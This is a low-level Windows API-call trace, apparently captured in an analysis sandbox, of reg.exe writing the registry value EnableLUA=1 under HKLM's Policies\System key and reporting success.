[0109.111] _vsnwprintf (in: _Buffer=0x1bb870, _BufferCount=0x41, _Format="|%s|", _ArgList=0x14fae8 | out: _Buffer="|HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System|") returned 64
[0109.111] lstrlenW (lpString="|-?|/?|-h|/h|") returned 13
[0109.111] lstrlenW (lpString="|HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System|") returned 64
[0109.111] SetLastError (dwErrCode=0x490)
[0109.111] lstrlenW (lpString="HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 62
[0109.111] GetProcessHeap () returned 0x1a0000
[0109.111] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0xc, Size=0x7e) returned 0x1bb900
[0109.111] lstrlenW (lpString="HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 62
[0109.111] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0
[0109.111] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0
[0109.111] StrChrW (lpStart=" \x09", wMatch=0x4b) returned 0x0
[0109.111] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0
[0109.111] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0
[0109.111] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0
[0109.112] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0
[0109.112] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0
[0109.112] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0
[0109.112] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0
[0109.112] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0
[0109.112] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0
[0109.112] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0
[0109.112] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0
[0109.112] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0
[0109.112] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0
[0109.112] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0
[0109.112] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0
[0109.112] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0
[0109.112] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0
[0109.112] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0
[0109.112] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0
[0109.112] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0
[0109.112] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0
[0109.112] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0
[0109.112] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0
[0109.112] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0
[0109.112] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0
[0109.112] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0
[0109.112] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0
[0109.112] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0
[0109.112] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0
[0109.113] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0
[0109.113] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0
[0109.113] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0
[0109.113] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0
[0109.113] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0
[0109.113] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0
[0109.113] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0
[0109.113] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0
[0109.113] StrChrW (lpStart=" \x09", wMatch=0x56) returned 0x0
[0109.113] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0
[0109.113] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0
[0109.113] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0
[0109.113] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0
[0109.113] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0
[0109.113] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0
[0109.113] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0
[0109.113] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0
[0109.113] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0
[0109.113] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0
[0109.113] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0
[0109.113] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0
[0109.113] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0
[0109.113] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0
[0109.113] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0
[0109.113] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0
[0109.113] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0
[0109.113] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0
[0109.113] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0
[0109.113] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0
[0109.114] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0
[0109.114] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0
[0109.114] lstrlenW (lpString="HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 62
[0109.114] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", cchCount1=2, lpString2="\\\\", cchCount2=2) returned 3
[0109.114] lstrlenW (lpString="HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 62
[0109.114] lstrlenW (lpString="HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 62
[0109.114] StrChrIW (lpStart="HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", wMatch=0x5c) returned="\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System"
[0109.115] lstrlenW (lpString="HKEY_CURRENT_CONFIG") returned 19
[0109.115] GetProcessHeap () returned 0x1a0000
[0109.115] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0xc, Size=0x28) returned 0x1b5cb0
[0109.115] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKLM", cchCount1=-1, lpString2="HKCU", cchCount2=-1) returned 3
[0109.115] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKLM", cchCount1=-1, lpString2="HKEY_CURRENT_USER", cchCount2=-1) returned 3
[0109.115] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKLM", cchCount1=-1, lpString2="HKCR", cchCount2=-1) returned 3
[0109.115] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKLM", cchCount1=-1, lpString2="HKEY_CLASSES_ROOT", cchCount2=-1) returned 3
[0109.115] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKLM", cchCount1=-1, lpString2="HKCC", cchCount2=-1) returned 3
[0109.115] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKLM", cchCount1=-1, lpString2="HKEY_CURRENT_CONFIG", cchCount2=-1) returned 3
[0109.115] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKLM", cchCount1=-1, lpString2="HKLM", cchCount2=-1) returned 2
[0109.115] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57
[0109.115] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57
[0109.115] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57
[0109.115] StrChrIW (lpStart="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", wMatch=0x5c) returned="\\Microsoft\\Windows\\CurrentVersion\\Policies\\System"
[0109.115] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57
[0109.116] StrChrIW (lpStart="Microsoft\\Windows\\CurrentVersion\\Policies\\System", wMatch=0x5c) returned="\\Windows\\CurrentVersion\\Policies\\System"
[0109.116] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57
[0109.116] StrChrIW (lpStart="Windows\\CurrentVersion\\Policies\\System", wMatch=0x5c) returned="\\CurrentVersion\\Policies\\System"
[0109.116] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57
[0109.116] StrChrIW (lpStart="CurrentVersion\\Policies\\System", wMatch=0x5c) returned="\\Policies\\System"
[0109.116] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57
[0109.116] StrChrIW (lpStart="Policies\\System", wMatch=0x5c) returned="\\System"
[0109.116] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57
[0109.116] StrChrIW (lpStart="System", wMatch=0x5c) returned 0x0
[0109.116] SetLastError (dwErrCode=0x490)
[0109.116] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57
[0109.116] SetLastError (dwErrCode=0x0)
[0109.116] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57
[0109.116] GetProcessHeap () returned 0x1a0000
[0109.116] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0xc, Size=0x74) returned 0x1bbb80
[0109.116] GetProcessHeap () returned 0x1a0000
[0109.116] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0xc, Size=0xa0) returned 0x1bbc00
[0109.116] GetProcessHeap () returned 0x1a0000
[0109.116] GetProcessHeap () returned 0x1a0000
[0109.116] HeapValidate (hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1b5cb0) returned 1
[0109.117] GetProcessHeap () returned 0x1a0000
[0109.117] RtlSizeHeap (HeapHandle=0x1a0000, Flags=0x0, MemoryPointer=0x1b5cb0) returned 0x28
[0109.117] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1b5cb0 | out: hHeap=0x1a0000) returned 1
[0109.117] GetProcessHeap () returned 0x1a0000
[0109.117] GetProcessHeap () returned 0x1a0000
[0109.118] HeapValidate (hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1bb900) returned 1
[0109.118] GetProcessHeap () returned 0x1a0000
[0109.118] RtlSizeHeap (HeapHandle=0x1a0000, Flags=0x0, MemoryPointer=0x1bb900) returned 0x7e
[0109.118] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1bb900 | out: hHeap=0x1a0000) returned 1
[0109.118] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/v", cchCount1=-1, lpString2="/v", cchCount2=-1) returned 2
[0109.118] lstrlenW (lpString="EnableLUA") returned 9
[0109.118] GetProcessHeap () returned 0x1a0000
[0109.118] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0xc, Size=0x14) returned 0x1bb710
[0109.118] lstrlenW (lpString="EnableLUA") returned 9
[0109.119] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0
[0109.119] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0
[0109.119] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0
[0109.119] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0
[0109.119] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0
[0109.119] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0
[0109.119] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0
[0109.119] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0
[0109.119] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0
[0109.119] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0
[0109.119] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/t", cchCount1=-1, lpString2="/v", cchCount2=-1) returned 1
[0109.119] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/t", cchCount1=-1, lpString2="-v", cchCount2=-1) returned 1
[0109.119] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/t", cchCount1=-1, lpString2="/ve", cchCount2=-1) returned 1
[0109.119] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/t", cchCount1=-1, lpString2="-ve", cchCount2=-1) returned 1
[0109.119] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/t", cchCount1=-1, lpString2="/t", cchCount2=-1) returned 2
[0109.120] StrDupW (lpSrch="REG_DWORD") returned="REG_DWORD"
[0109.120] lstrlenW (lpString="REG_DWORD") returned 9
[0109.120] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0
[0109.120] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0
[0109.120] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0
[0109.120] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0
[0109.120] StrChrW (lpStart=" \x09", wMatch=0x5f) returned 0x0
[0109.121] StrChrW (lpStart=" \x09", wMatch=0x44) returned 0x0
[0109.121] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0
[0109.121] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0
[0109.121] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0
[0109.121] StrChrW (lpStart=" \x09", wMatch=0x44) returned 0x0
[0109.121] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="REG_DWORD", cchCount1=-1, lpString2="REG_SZ", cchCount2=-1) returned 1
[0109.121] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="REG_DWORD", cchCount1=-1, lpString2="REG_EXPAND_SZ", cchCount2=-1) returned 1
[0109.121] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="REG_DWORD", cchCount1=-1, lpString2="REG_MULTI_SZ", cchCount2=-1) returned 1
[0109.121] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="REG_DWORD", cchCount1=-1, lpString2="REG_BINARY", cchCount2=-1) returned 3
[0109.121] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="REG_DWORD", cchCount1=-1, lpString2="REG_DWORD", cchCount2=-1) returned 2
[0109.121] LocalFree (hMem=0x1bb900) returned 0x0
[0109.121] SetLastError (dwErrCode=0x0)
[0109.121] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="/v", cchCount2=-1) returned 1
[0109.121] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="-v", cchCount2=-1) returned 1
[0109.121] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="/ve", cchCount2=-1) returned 1
[0109.121] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="-ve", cchCount2=-1) returned 1
[0109.121] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="/t", cchCount2=-1) returned 1
[0109.121] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="-t", cchCount2=-1) returned 1
[0109.121] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="/s", cchCount2=-1) returned 1
[0109.121] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="-s", cchCount2=-1) returned 1
[0109.121] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="/d", cchCount2=-1) returned 2
[0109.121] lstrlenW (lpString="1") returned 1
[0109.121] GetProcessHeap () returned 0x1a0000
[0109.121] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0xc, Size=0x4) returned 0x1bb900
[0109.121] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/v", cchCount2=-1) returned 1
[0109.121] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="-v", cchCount2=-1) returned 1
[0109.122] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/ve", cchCount2=-1) returned 1
[0109.122] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="-ve", cchCount2=-1) returned 1
[0109.122] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/t", cchCount2=-1) returned 1
[0109.122] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="-t", cchCount2=-1) returned 1
[0109.122] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/s", cchCount2=-1) returned 1
[0109.122] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="-s", cchCount2=-1) returned 1
[0109.122] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/d", cchCount2=-1) returned 3
[0109.122] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="-d", cchCount2=-1) returned 1
[0109.122] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/f", cchCount2=-1) returned 2
[0109.122] SetLastError (dwErrCode=0x0)
[0109.122] RegCreateKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x14fbc0, lpdwDisposition=0x14fbe0 | out: phkResult=0x14fbc0*=0x54, lpdwDisposition=0x14fbe0*=0x2) returned 0x0
[0109.122] RegQueryValueExW (in: hKey=0x54, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0
[0109.122] GetProcessHeap () returned 0x1a0000
[0109.122] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0xc, Size=0x20) returned 0x1b5cb0
[0109.122] GetProcessHeap () returned 0x1a0000
[0109.122] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0xc, Size=0x20) returned 0x1b5ce0
[0109.122] GetProcessHeap () returned 0x1a0000
[0109.122] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0xc, Size=0x18) returned 0x1bb920
[0109.122] _memicmp (_Buf1=0x1bb920, _Buf2=0xff871458, _Size=0x7) returned 0
[0109.122] GetProcessHeap () returned 0x1a0000
[0109.122] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0xc, Size=0x200) returned 0x1bbcb0
[0109.123] LoadStringW (in: hInstance=0x0, uID=0xca, lpBuffer=0x1bbcb0, cchBufferMax=256 | out: lpBuffer="Value %s exists, overwrite(Yes/No)? ") returned 0x24
[0109.123] lstrlenW (lpString="Value %s exists, overwrite(Yes/No)? ") returned 36
[0109.123] GetProcessHeap () returned 0x1a0000
[0109.123] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0xc, Size=0x4a) returned 0x1bbec0
[0109.123] _memicmp (_Buf1=0x1bb920, _Buf2=0xff871458, _Size=0x7) returned 0
[0109.123] LoadStringW (in: hInstance=0x0, uID=0xce, lpBuffer=0x1bbcb0, cchBufferMax=256 | out: lpBuffer="YNA") returned 0x3
[0109.123] lstrlenW (lpString="YNA") returned 3
[0109.123] GetProcessHeap () returned 0x1a0000
[0109.123] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0xc, Size=0x8) returned 0x1bb940
[0109.123] GetThreadLocale () returned 0x409
[0109.123] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="1", cchCount1=2, lpString2="0x", cchCount2=2) returned 3
[0109.123] _memicmp (_Buf1=0x1bb6d0, _Buf2=0xff871458, _Size=0x7) returned 0
[0109.123] lstrlenW (lpString="1") returned 1
[0109.123] lstrlenW (lpString="1") returned 1
[0109.123] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0
[0109.123] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0
[0109.123] lstrlenW (lpString="1") returned 1
[0109.123] _errno () returned 0x434bb0
[0109.124] _errno () returned 0x434bb0
[0109.124] lstrlenW (lpString="") returned 0
[0109.124] _memicmp (_Buf1=0x1bb6d0, _Buf2=0xff871458, _Size=0x7) returned 0
[0109.124] lstrlenW (lpString="1") returned 1
[0109.124] lstrlenW (lpString="1") returned 1
[0109.124] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0
[0109.124] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0
[0109.124] lstrlenW (lpString="1") returned 1
[0109.124] _errno () returned 0x434bb0
[0109.124] _errno () returned 0x434bb0
[0109.124] lstrlenW (lpString="") returned 0
[0109.124] RegSetValueExW (in: hKey=0x54, lpValueName="EnableLUA", Reserved=0x0, dwType=0x4, lpData=0x14fbc8*=0x1, cbData=0x4 | out: lpData=0x14fbc8*=0x1) returned 0x0
[0109.124] RegCloseKey (hKey=0x54) returned 0x0
[0109.124] GetProcessHeap () returned 0x1a0000
[0109.124] GetProcessHeap () returned 0x1a0000
[0109.124] HeapValidate (hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1bbb80) returned 1
[0109.124] GetProcessHeap () returned 0x1a0000
[0109.124] RtlSizeHeap (HeapHandle=0x1a0000, Flags=0x0, MemoryPointer=0x1bbb80) returned 0x74
[0109.124] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1bbb80 | out: hHeap=0x1a0000) returned 1
[0109.124] GetProcessHeap () returned 0x1a0000
[0109.124] GetProcessHeap () returned 0x1a0000
[0109.124] HeapValidate (hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1bbc00) returned 1
[0109.124] GetProcessHeap () returned 0x1a0000
[0109.124] RtlSizeHeap (HeapHandle=0x1a0000, Flags=0x0, MemoryPointer=0x1bbc00) returned 0xa0
[0109.125] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1bbc00 | out: hHeap=0x1a0000) returned 1
[0109.125] GetProcessHeap () returned 0x1a0000
[0109.125] GetProcessHeap () returned 0x1a0000
[0109.125] HeapValidate (hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1bb710) returned 1
[0109.125] GetProcessHeap () returned 0x1a0000
[0109.125] RtlSizeHeap (HeapHandle=0x1a0000, Flags=0x0, MemoryPointer=0x1bb710) returned 0x14
[0109.125] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1bb710 | out: hHeap=0x1a0000) returned 1
[0109.125] GetProcessHeap () returned 0x1a0000
[0109.125] GetProcessHeap () returned 0x1a0000
[0109.125] HeapValidate (hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1bb900) returned 1
[0109.125] GetProcessHeap () returned 0x1a0000
[0109.125] RtlSizeHeap (HeapHandle=0x1a0000, Flags=0x0, MemoryPointer=0x1bb900) returned 0x4
[0109.125] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1bb900 | out: hHeap=0x1a0000) returned 1
[0109.125] SetLastError (dwErrCode=0x0)
[0109.125] GetLastError () returned 0x0
[0109.125] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x0, dwLanguageId=0x0, lpBuffer=0x14fb40, nSize=0x0, Arguments=0x0 | out: lpBuffer="뮀\x1b") returned 0x27
[0109.126] GetLastError () returned 0x0
[0109.127] lstrlenW (lpString="The operation completed successfully.\r\n") returned 39
[0109.127] GetProcessHeap () returned 0x1a0000
[0109.127] GetProcessHeap () returned 0x1a0000
[0109.127] HeapValidate (hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1bb650) returned 1
[0109.127] GetProcessHeap () returned 0x1a0000
[0109.127] RtlSizeHeap (HeapHandle=0x1a0000, Flags=0x0, MemoryPointer=0x1bb650) returned 0x2
[0109.127] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1bb650 | out: hHeap=0x1a0000) returned 1
[0109.127] GetProcessHeap () returned 0x1a0000
[0109.127] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0xc, Size=0x50) returned 0x1bbbe0
[0109.127] SetLastError (dwErrCode=0x0)
[0109.127] LocalFree (hMem=0x1bbb80) returned 0x0
[0109.127] __iob_func () returned 0x7fefdf72a80
[0109.127] _fileno (_File=0x7fefdf72ab0) returned 1
[0109.127] _errno () returned 0x434bb0
[0109.127] _get_osfhandle (_FileHandle=1) returned 0x7
[0109.127] _errno () returned 0x434bb0
[0109.127] GetFileType (hFile=0x7) returned 0x2
[0109.127] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
[0109.128] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x14fac0 | out: lpMode=0x14fac0) returned 1
[0109.128] __iob_func () returned 0x7fefdf72a80
[0109.128] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
[0109.128] lstrlenW (lpString="The operation completed successfully.\r\n") returned 39
[0109.128] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1bbbe0*, nNumberOfCharsToWrite=0x27, lpNumberOfCharsWritten=0x14fb30, lpReserved=0x0 | out: lpBuffer=0x1bbbe0*, lpNumberOfCharsWritten=0x14fb30*=0x27) returned 1
[0109.128] GetProcessHeap () returned 0x1a0000
[0109.128] GetProcessHeap () returned 0x1a0000
[0109.128] HeapValidate (hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1bbcb0) returned 1
[0109.128] GetProcessHeap () returned 0x1a0000
[0109.129] RtlSizeHeap (HeapHandle=0x1a0000, Flags=0x0, MemoryPointer=0x1bbcb0) returned 0x200
[0109.129] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1bbcb0 | out: hHeap=0x1a0000) returned 1
[0109.129] GetProcessHeap () returned 0x1a0000
[0109.129] GetProcessHeap () returned 0x1a0000
[0109.129] HeapValidate (hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1bb920) returned 1
[0109.129] GetProcessHeap () returned 0x1a0000
[0109.129] RtlSizeHeap (HeapHandle=0x1a0000, Flags=0x0, MemoryPointer=0x1bb920) returned 0x18
[0109.129] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1bb920 | out: hHeap=0x1a0000) returned 1
[0109.129] GetProcessHeap () returned 0x1a0000
[0109.129] GetProcessHeap () returned 0x1a0000
[0109.129] HeapValidate (hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1b5ce0) returned 1
[0109.129] GetProcessHeap () returned 0x1a0000
[0109.129] RtlSizeHeap (HeapHandle=0x1a0000, Flags=0x0, MemoryPointer=0x1b5ce0) returned 0x20
[0109.129] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1b5ce0 | out: hHeap=0x1a0000) returned 1
[0109.129] GetProcessHeap () returned 0x1a0000
[0109.129] GetProcessHeap () returned 0x1a0000
[0109.129] HeapValidate (hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1bb870) returned 1
[0109.129] GetProcessHeap () returned 0x1a0000
[0109.129] RtlSizeHeap (HeapHandle=0x1a0000, Flags=0x0, MemoryPointer=0x1bb870) returned 0x84
[0109.129] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1bb870 | out: hHeap=0x1a0000) returned 1
[0109.129] GetProcessHeap () returned 0x1a0000
[0109.129] GetProcessHeap () returned 0x1a0000
[0109.129] HeapValidate (hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1bb6f0) returned 1
[0109.129] GetProcessHeap () returned 0x1a0000
[0109.129] RtlSizeHeap (HeapHandle=0x1a0000, Flags=0x0, MemoryPointer=0x1bb6f0) returned 0x18
[0109.129] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1bb6f0 | out: hHeap=0x1a0000) returned 1
[0109.129] GetProcessHeap () returned 0x1a0000
[0109.129] GetProcessHeap () returned 0x1a0000
[0109.129] HeapValidate (hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1b5bf0) returned 1
[0109.130] GetProcessHeap () returned 0x1a0000
[0109.130] RtlSizeHeap (HeapHandle=0x1a0000, Flags=0x0, MemoryPointer=0x1b5bf0) returned 0x20
[0109.130] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1b5bf0 | out: hHeap=0x1a0000) returned 1
[0109.130] GetProcessHeap () returned 0x1a0000
[0109.130] GetProcessHeap () returned 0x1a0000
[0109.130] HeapValidate (hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1b5c80) returned 1
[0109.130] GetProcessHeap () returned 0x1a0000
